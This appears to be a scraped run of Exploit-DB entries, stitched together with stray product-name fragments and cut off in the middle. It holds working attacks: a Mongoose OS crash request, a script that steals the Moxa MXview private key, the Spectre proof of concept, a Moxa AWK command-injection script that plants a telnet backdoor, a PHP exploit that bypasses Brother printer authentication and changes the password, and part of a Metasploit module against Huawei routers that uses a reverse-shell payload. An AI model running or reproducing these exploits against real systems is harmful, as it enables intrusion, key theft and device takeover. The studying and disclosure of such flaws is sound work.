############################################################# # # Product: Mongoose OS # Vendor: Cesanta # CVE ID: CVE-2017-7185 # CSNC ID: CSNC-2017-003 # Subject: Use-after-free / Denial of Service # Risk: Medium # Effect: Remotely exploitable # Authors: # Philipp Promeuschel <[email protected]> # Carel van Rooyen <[email protected]> # Stephan Sekula <[email protected]> # Date: 2017-04-03 # ############################################################# Introduction: ------------- Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers: * ESP32 * ESP8266 * STM32 * TI CC3200 Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS). Affected versions: --------- Vulnerable: * <= Release 1.2 Not vulnerable: * Patched in current dev / master branch Not tested: * N/A Technical Description --------------------- The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server. This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable. The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called: --------------->8--------------- void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) { [CUT BY COMPASS] #if MG_ENABLE_HTTP_STREAMING_MULTIPART if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL && s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) { mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary // however, the socket is not closed, and mg_http_multipart_continue() is executed mg_http_multipart_continue(nc); return; } ---------------8<--------------- In the mg_http_multipart_begin function, the boundary is correctly verified: --------------->8--------------- boundary_len = mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary)); if (boundary_len == 0) { /* * Content type is multipart, but there is no boundary, * probably malformed request */ nc->flags = MG_F_CLOSE_IMMEDIATELY; DBG(("invalid request")); goto exit_mp; } ---------------8<--------------- However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed. In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed: ---------------8<--------------- static void mg_http_multipart_continue(struct mg_connection *c) { struct mg_http_proto_data *pd = mg_http_get_proto_data(c); while (1) { switch (pd->mp_stream.state) { case MPS_BEGIN: { pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY; break; } case MPS_WAITING_FOR_BOUNDARY: { if (mg_http_multipart_wait_for_boundary(c) == 0) { return; } break; } --------------->8--------------- Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash. ---------------8<--------------- static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { const char *boundary; struct mbuf *io = &c->recv_mbuf; struct mg_http_proto_data *pd = mg_http_get_proto_data(c); if ((int) io->len < pd->mp_stream.boundary_len + 2) { return 0; } boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { [CUT BY COMPASS] --------------->8--------------- Steps to reproduce ----------------- Request to HTTP server (code running on hardware device): ---------------8<--------------- POST / HTTP/1.1 Connection: keep-alive Content-Type: multipart/form-data; Content-Length: 1 1 --------------->8--------------- The above request results in a stack trace on the mongoose console: ---------------8<--------------- Guru Meditation Error of type LoadProhibited occurred on core 0. Exception was unhandled. Register dump: PC : 0x400014fd PS : 0x00060330 A0 : 0x801114b4 A1 : 0x3ffbfcf0 A2 : 0x00000000 A3 : 0xfffffffc A4 : 0x000000ff A5 : 0x0000ff00 A6 : 0x00ff0000 A7 : 0xff000000 A8 : 0x00000000 A9 : 0x00000085 A10 : 0xcccccccc A11 : 0x0ccccccc A12 : 0x00000001 A13 : 0x00000000 A14 : 0x00000037 A15 : 0x3ffbb3cc SAR : 0x0000000f EXCCAUSE: 0x0000001c EXCVADDR: 0x00000000 LBEG : 0x400014fd LEND : 0x4000150d LCOUNT : 0xffffffff Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210 --------------->8--------------- Further debugging shows that an uninitialized string has indeed been passed to c_strnstr: ---------------8<--------------- (gdb) info symbol 0x401114b4 c_strnstr + 12 in section .flash.text (gdb) list *0x401114b4 0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720). warning: Source file is more recent than executable. 1715 } 1716 #endif /* _WIN32 */ 1717 1718 /* The simplest O(mn) algorithm. Better implementation are GPLed */ 1719 const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK; 1720 const char *c_strnstr(const char *s, const char *find, size_t slen) { 1721 size_t find_length = strlen(find); 1722 size_t i; 1723 1724 for (i = 0; i < slen; i++) { (gdb) list *0x401136cc 0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893). 5888 mg_http_free_proto_data_mp_stream(&pd->mp_stream); 5889 pd->mp_stream.state = MPS_FINISHED; 5890 5891 return 1; 5892 } 5893 5894 static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { 5895 const char *boundary; 5896 struct mbuf *io = &c->recv_mbuf; 5897 struct mg_http_proto_data *pd = mg_http_get_proto_data(c); (gdb) --------------->8--------------- Workaround / Fix: ----------------- Apply the following (tested and confirmed) patch: ---------------8<--------------- $ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c index 91dc8b9..063f8c6 100644 --- a/mongoose/mongoose.c +++ b/mongoose/mongoose.c @@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { return 0; } + if(pd->mp_stream.boundary == NULL){ + pd->mp_stream.state = MPS_FINALIZE; + LOG(LL_INFO, ("invalid request: boundary not initialized")); + return 0; + } + boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { const char *boundary_end = (boundary + pd->mp_stream.boundary_len); --------------->8--------------- The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4] Timeline: --------- 2017-04-03: Coordinated public disclosure date 2017-04-03: Release of patch 2017-03-20: Initial vendor response, code usage sign-off 2017-03-19: Initial vendor notification 2017-03-19: Assigned CVE-2017-7185 2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen 2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen 2017-03-08: Discovery by Philipp Promeuschel References: ----------- [1] https://www.cesanta.com/ [2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760 [3] http://www.ietf.org/rfc/rfc2046.txt [4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b
Cesanta Mongoose OS - Use-After-Free Vulnerability
[+] Credits: John Page AKA HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-REMOTE-PRIVATE-KEY-DISCLOSURE.txt [+] ISR: APPARITIONSEC Vendor: ============ www.moxa.com Product: =========== MXview V2.8 Download: http://www.moxa.com/product/MXstudio.htm MXview Industrial Network Management Software. Auto discovery of network devices and physical connections Event playback for quick troubleshooting Color-coded VLAN/IGMP groups and other visualized network data Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere. Vulnerability Type: ============================= Remote Private Key Disclosure CVE Reference: ============== CVE-2017-7455 Security Issue: ================ MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key. Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request. e.g. curl -v http://VICTIM-IP:81/certs/mxview.key * About to connect() to VICTIM-IP port 81 * Trying VICTIM-IP... connected * Connected to VICTIM-IP (VICTIM-IP) port 81 > GET /certs/mxview.key HTTP/1.1 > User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 > Host: VICTIM-IP:81 > Accept: */* > < HTTP/1.1 200 OK < Date: Tue Feb 28 14:18:00 2017 < Server: GoAhead-Webs < Last-modified: Tue Feb 28 10:46:51 2017 < Content-length: 916 < Content-type: text/plain -----BEGIN PRIVATE KEY----- [binary] -----END PRIVATE KEY----- Exploit: ========= import socket print 'Moxa MXview 2.8 Remote Private Key Theft' print 'by hyp3rlinx\n' IP=raw_input("[Moxa MXview IP]> ") PORT=int(raw_input("[PORT]> ")) STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,PORT)) s.send(STEAL_PRV_KEY) print 'Enjoy ur private server key!\n' print s.recv(512) s.close() Network Access: =============== Remote Severity: ========= Critical Disclosure Timeline: =================================== Vendor Notification: March 5, 2017 Vendor confirms vulnerability : March 21, 2017 Vendor "updated firmware April 7, 2017" : March 29, 2017 April 9, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).
Moxa MXview 2.8 - Private Key Disclosure. CVE-2017-7455 . remote exploit for Windows platform
Moxa MXview 2.8 - Private Key Disclosure - Windows remote Exploit
Attackers must trick a user into opening a file on a remote WebDAV or SMB share to exploit this issue. A general exploit technique has been documented by TheLeader and H.D. Moore for the Metasploit Project; please see the references for more information.
sdxc memory card with embedded nfc functionality software update
sdhc memory card flashairtm software update tool
sdhc memory card flashairtm configuration software
Yuji Tounai of NTT Communications Corporation.
Multiple Toshiba memory card installers are prone to a remote code-execution vulnerability. A remote attacker can leverage this issue to execute arbitrary code in the context of the affected application. The following products are vulnerable: SDHC/SDXC Memory Card with embedded NFC functionality Software Update Tool 1.00.03 and prior versions. SDHC Memory Card with embedded wireless LAN functionality FlashAirTM Configuration Software 3.0.2 and prior versions. SDHC Memory Card with embedded wireless LAN functionality FlashAirTM Software Update tool (SD-WE series) 3.00.01 SDHC Memory Card with embedded wireless LAN functionality FlashAirTM Software Update tool (SD-WD/WC series) 2.00.03 and prior versions. SDHC Memory Card with embedded wireless LAN functionality FlashAirTM Software Update tool (SD-WB/WL series) 1.00.04 and prior versions. SDHC Memory Card with embedded TransferJetTM functionality Configuration Software 1.02 and prior versions. SDHC Memory Card with embedded TransferJetTM functionality Software Update tool 1.00.06 and prior versions.
Multiple Toshiba memory card installers DLL Loading Remote Code Execution Vulnerability
/* EDB Note: - https://spectreattack.com/ - https://spectreattack.com/spectre.pdf - https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #ifdef _MSC_VER #include <intrin.h> /* for rdtscp and clflush */ #pragma optimize("gt",on) #else #include <x86intrin.h> /* for rdtscp and clflush */ #endif /******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; uint8_t unused2[64]; uint8_t array2[256 * 512]; char *secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } } /******************************************************************** Analysis code ********************************************************************/ #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; int tries, i, j, k, mix_i, junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--) { /* Flush array2[256*(0..255)] from cache */ for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ training_x = tries % array1_size; for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */ victim_function(x); } /* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } /* Locate highest & second-highest results results tallies in j/k */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } int main(int argc, const char **argv) { size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */ int i, score[2], len=40; uint8_t value[2]; for (i = 0; i < sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ if (argc == 3) { sscanf(argv[1], "%p", (void**)(&malicious_x)); malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf(argv[2], "%d", &len); } printf("Reading %d bytes:\n", len); while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void*)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n"); } return (0); }
enterprise linux server year extended update support
enterprise linux server extended update support
enterprise linux server year extended upd
enterprise linux for scientific computing
enterprise linux for power little endian extended update supp
enterprise linux for power little endian
enterprise linux for power big endian extended update support
enterprise linux for ibm z systems extended update support
windows server r2 for x64-based systems sp1
windows server r2 for itanium-based systems sp1
windows server for x64-based systems sp2
windows server for itanium-based systems sp2
sql server for x64-based systems service pack
sql server for 32-bit systems service pack
sql server r2 for x64-based systems service pack
sql server r2 for 32-bit systems service pack
enterprise linux openstack platform for rhel
communications diameter signaling router
Multiple CPUs - 'Spectre' Information Disclosure. CVE-2017-5753CVE-2017-5715 . local exploit for Multiple platform
Multiple CPUs - 'Spectre' Information Disclosure - Multiple local Exploit
PS4 4.0x Code Execution ============== This repo is my edit of the [4.0x webkit exploit](http://rce.party/ps4/) released by [qwertyoruiopz](https://twitter.com/qwertyoruiopz). The edit re-organizes, comments, and adds portability across 3.50 - 4.07 (3.50, 3.55, 3.70, 4.00, and of course 4.06/4.07). The commenting and reorganization was mostly for my own learning experience, however hopefully others can find these comments helpful and build on them or even fix them if I've made mistakes. The exploit is much more stable than FireKaku and sets up the foundation for running basic ROP chains and returns to normal execution. Credit for the exploit goes completely to qwertyoruiopz. Organization ============== Files in order by name alphabetically; * expl.js - Contains the heart of the exploit and establishes a read/write primitive. * gadgets.js - Contains gadget maps and function stub maps for a variety of firmwares. Which map is used is determined in the post-exploitation phase. * index.html - The main page for the exploit. Launches the exploit and contains post-exploitation stuff, as well as output and code execution. * rop.js - Contains the ROP framework modified from Qwerty's original exploit as well as the array in which module base addresses are held and gadget addresses are calculated. * syscalls.js - Contains a system call map for a variety of firmwares as well as a 'name -> number' map for syscall ID's. Usage ============== Simply setup a web-server on localhost using xampp or any other program and setup these files in a directory. You can then go to your computer's local IPv4 address (found by running ipconfig in cmd.exe) and access the exploit. Notes ============== * The exploit is pretty stable but will still sometimes crash. If the browser freezes simply back out and retry, if a segmentation fault (identified by prompt "You do not have enough free system memory") occurs, refresh the page before trying again as it seems to lead to better results. * This only allows code execution in ring3, to get ring0 execution a kernel exploit and KROP chain is needed. * If I've made an error (particularily having to do with firmware compatibility and gadgets) feel free to open an issue on the repo. * The exploit has been tested on 3.55 and 4.00, it is assumed to work on other firmwares listed but not guaranteed, again if you encounter a problem - open an issue on the repo. Credits ============== qwertyoruiopz - The original exploit, the likes of which can be found [here](http://rce.party/ps4/). Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44198.zip
Sony Playstation 4 (PS4) 3.50 < 4.07 - WebKit Code Execution (PoC).. local exploit for Hardware platform
Sony Playstation 4 (PS4) 3.50 < 4.07 - WebKit Code Execution (PoC) - Hardware local Exploit
#!/usr/bin/env python2 import telnetlib import re import random import string # Split string into chunks, of which each is <= length def chunkstring(s, length): return (s[0+i:length+i] for i in range(0, len(s), length)) # Split strings based on MAX_LEN. Encode any newlines and/or spaces. def split_script(script): MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1 completed = [] temp = re.split('(\n)', script) for content in temp: if len(content) != 0: for s in re.split('( )', content): if ' ' in s: s = '\\x20' if '\n' in s: s = ['\\n'] else: s = list(chunkstring(s, MAX_LEN)) completed.append(s) return [item for sublist in completed for item in sublist] # Flatten nested list items # Execute each command via the username parameter def do_cmd(host, command): tn = telnetlib.Telnet(host) modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS} tn.read_until("login: ") tn.write("`%s`\n" % modCommand) print "Sent command: %s\n modified: %s\n size: %d" % (command, modCommand, len(modCommand)) tn.read_until("Password: ") tn.write(" " + "\n") tn.read_until("incorrect") tn.close() # Write script to writable directory on host def write_script(host, script, t_dir, t_name): print "[*] Writing shell script to host..." i = 0 for token in split_script(script): carat = '>' if i == 0 else '>>' do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name)) i+=1 do_cmd(host, 'chmod +x %s/%s' % (t_dir,t_name)) print "[*] Script written to: %s/%s\n" % (t_dir,t_name) # Attempt to connect to newly-created backdoor def backdoor_connect(host,port): print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port) tn = telnetlib.Telnet(host, port) tn.interact() def main(): host = "192.168.127.253" port = random.randint(2048,4096) w_dir = '/var' # writable directory s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher t_name = s_name.lower() # telnetd launcher # Need a shell launcher script to launch /bin/sh because # telnetd adds a '-h' option to the login command shell_launcher = "#!/bin/sh\nexec sh" # Launch telnetd with the launcher script as the login # command to execute telnetd_launcher = "#!/bin/sh\ntelnetd -p%d -l%s/%s" % (port, w_dir,s_name) write_script(host, shell_launcher, w_dir, s_name) write_script(host, telnetd_launcher, w_dir, t_name) # Execute telnetd script and attempt to connect do_cmd(host, '.%s/%s' % (w_dir,t_name)) backdoor_connect(host, port) if __name__ == "__main__": main()
Moxa AWK-3131A 1.4 < 1.7 - 'Username' OS Command Injection. CVE-2017-14459 . remote exploit for Hardware platform
Moxa AWK-3131A 1.4 < 1.7 - 'Username' OS Command Injection - Hardware remote Exploit
Title: ==== D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability Credit: ====== Name: Pratik S. Shah Reference: ========= CVE Details: CVE-2017-7398. Date: ==== 1-04-2017 Vendor: ====== D-Link wireless router Product: ======= DIR-615 http://www.dlink.co.in/products/?pid=678 Affected Version: ============= Hardware: T1 , Firmware: 20.09 Abstract: ======= This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated. Attack Type: =================== Remote Details: ========= CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to perform unwanted actions on router, which may lead to gaining full control of the device. Proof Of Concept: ================ 1) User login to D-link DIR 615 wireless router 2) User visits the attacker's malicious web page (DlinkCSRF.html) 3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security Options to None This is the CSRF POC for changing the Security option from WPA2 to None( Parameter: Method) Attacker can also tamper following parameters hiddenSSID SSID Passwords for all the applicable security options Disclosure Timeline: ====================================== Vendor Notification: 6th March 2017
D-Link DIR-615 - Cross-Site Request Forgery. CVE-2017-7398 . webapps exploit for Hardware platform
D-Link DIR-615 - Cross-Site Request Forgery - Hardware webapps Exploit
<?php /* # Title: Brother Devices Web Auth Bypass / Change Password Exploit # Vendor: Brother (http://www.brother.com/) # Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info # Release date: 11.04.2017 # CVE: CVE-2017-7588 # Author: Patryk Bogdan (@patryk_bogdan) -- Description: Most of Brother devices web authorization can be bypassed through trivial bug in login proccess. Even after failed login attempt, in http response headers appears valid authorization cookie. PoC for MFC-J6520DW: [email protected]:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; -- Modes: silent: Gives authorized cookie without changing password, so you can login without getting noticed. changepass: Change login password to the one you provided. Note: Authorization cookie is fixed and it is created as following: Plaintext password --> ASCII hex --> md5 (e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password) This information can be used to crack current password from exported cookie. Fix: Minimize network access to Brother MFC device or disable HTTP(S) interface. Confirmed vulnerable: MFC-J6973CDW MFC-J4420DW MFC-8710DW MFC-J4620DW MFC-L8850CDW MFC-J3720 MFC-J6520DW MFC-L2740DW MFC-J5910DW MFC-J6920DW MFC-L2700DW MFC-9130CW MFC-9330CDW MFC-9340CDW MFC-J5620DW MFC-J6720DW MFC-L8600CDW MFC-L9550CDW MFC-L2720DW DCP-L2540DW DCP-L2520DW HL-3140CW HL-3170CDW HL-3180CDW HL-L8350CDW HL-L2380DW ADS-2500W ADS-1000W ADS-1500W For educational purposes only. */ /* ----------------------------- */ $address = "http://192.168.1.111"; //$mode = "silent"; $mode = "changepass"; $newpass = "letmein"; /* ----------------------------- */ $user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0'; $address = preg_replace('{/$}', '', $address); libxml_use_internal_errors(true); function getPwdValue($address) { global $user_agent; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html"); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_COOKIE, getCookie($address)); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); $dom = new DOMDocument(); $dom->loadHTML($content); $inputs = $dom->getElementsByTagName('input'); foreach($inputs as $i) { if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') { return $i->getAttribute('name'); } } } function getLogValue($address) { global $user_agent; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); $dom = new DOMDocument(); $dom->loadHTML($content); if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) { print 'Seems like password is not set! Exiting.'; exit; } $value = $dom->getElementById('LogBox')->getAttribute('name'); return $value; } function getCookie($host) { global $address, $user_agent; $log_var = getLogValue($address); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/general/status.html"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html"); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); if($content == true) { $cookies = array(); preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies); if(!empty($cookies['cookie'])) { $exploded = explode(';', $cookies['cookie'][0]); } else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; } } else { print 'Got error requesting '.$address.' address - check your settings'; exit; } return trim($exploded[0]); } if($mode === "silent") { print 'Here\'s your authorization cookie: '.getCookie($address); } elseif ($mode === "changepass") { global $address, $newpass; $cookie = getCookie($address); $pwd_var = getPwdValue($address); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); if($content == true) { print 'Password changed to: '.$newpass; } else { print 'Got error requesting '.$address.' address - check your settings'; exit; } } ?>
Authentication Bypass / Password Change Exploit
Brother MFC-J6520DW - Authentication Bypass / Password Change Exploit
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info( info, 'Name' => 'Huawei HG532n Command Injection', 'Description' => %q( This module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command. ), 'Author' => [ 'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' }, 'Targets' => [ [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2017', 'References' => [ ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245'] ] )) register_options( [ OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) ], self.class ) end def check httpd_fingerprint = %r{ \A HTTP\/1\.1\s200\sOK\r\n CACHE-CONTROL:\sno-cache\r\n Date:\s.*\r\n Connection:\sKeep-Alive\r\n Content-Type:\stext\/html\r\n Content-Length:\s\d+\r\n \r\n \n \n <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n <META\shttp-equiv="Pragma"\scontent="no-cache">\n <META\shttp-equiv="expires"\sCONTENT="-1">\n <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/> }x begin res = send_request_raw( 'method' => 'GET', 'uri' => '/' ) rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Could not connect to device") return Exploit::CheckCode::Unknown end if res && res.code == 200 && res.to_s =~ httpd_fingerprint return Exploit::CheckCode::Appears end Exploit::CheckCode::Unknown end # # The Javascript code sends all passwords in the form: # form.setAction('/index/login.cgi'); # form.addParameter('Username', Username.value); # form.addParameter('Password', base64encode(SHA256(Password.value))); # Do the same base64 encoding and SHA-256 hashing here. # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) Base64.encode64(sha256).gsub(/\s+/, "") end # # Without below cookies, which are also sent by the JS code, the # server will consider even correct HTTP requests invalid # def generate_web_cookie(admin: false, session: nil) if admin cookie = 'FirstMenu=Admin_0; ' cookie << 'SecondMenu=Admin_0_0; ' cookie << 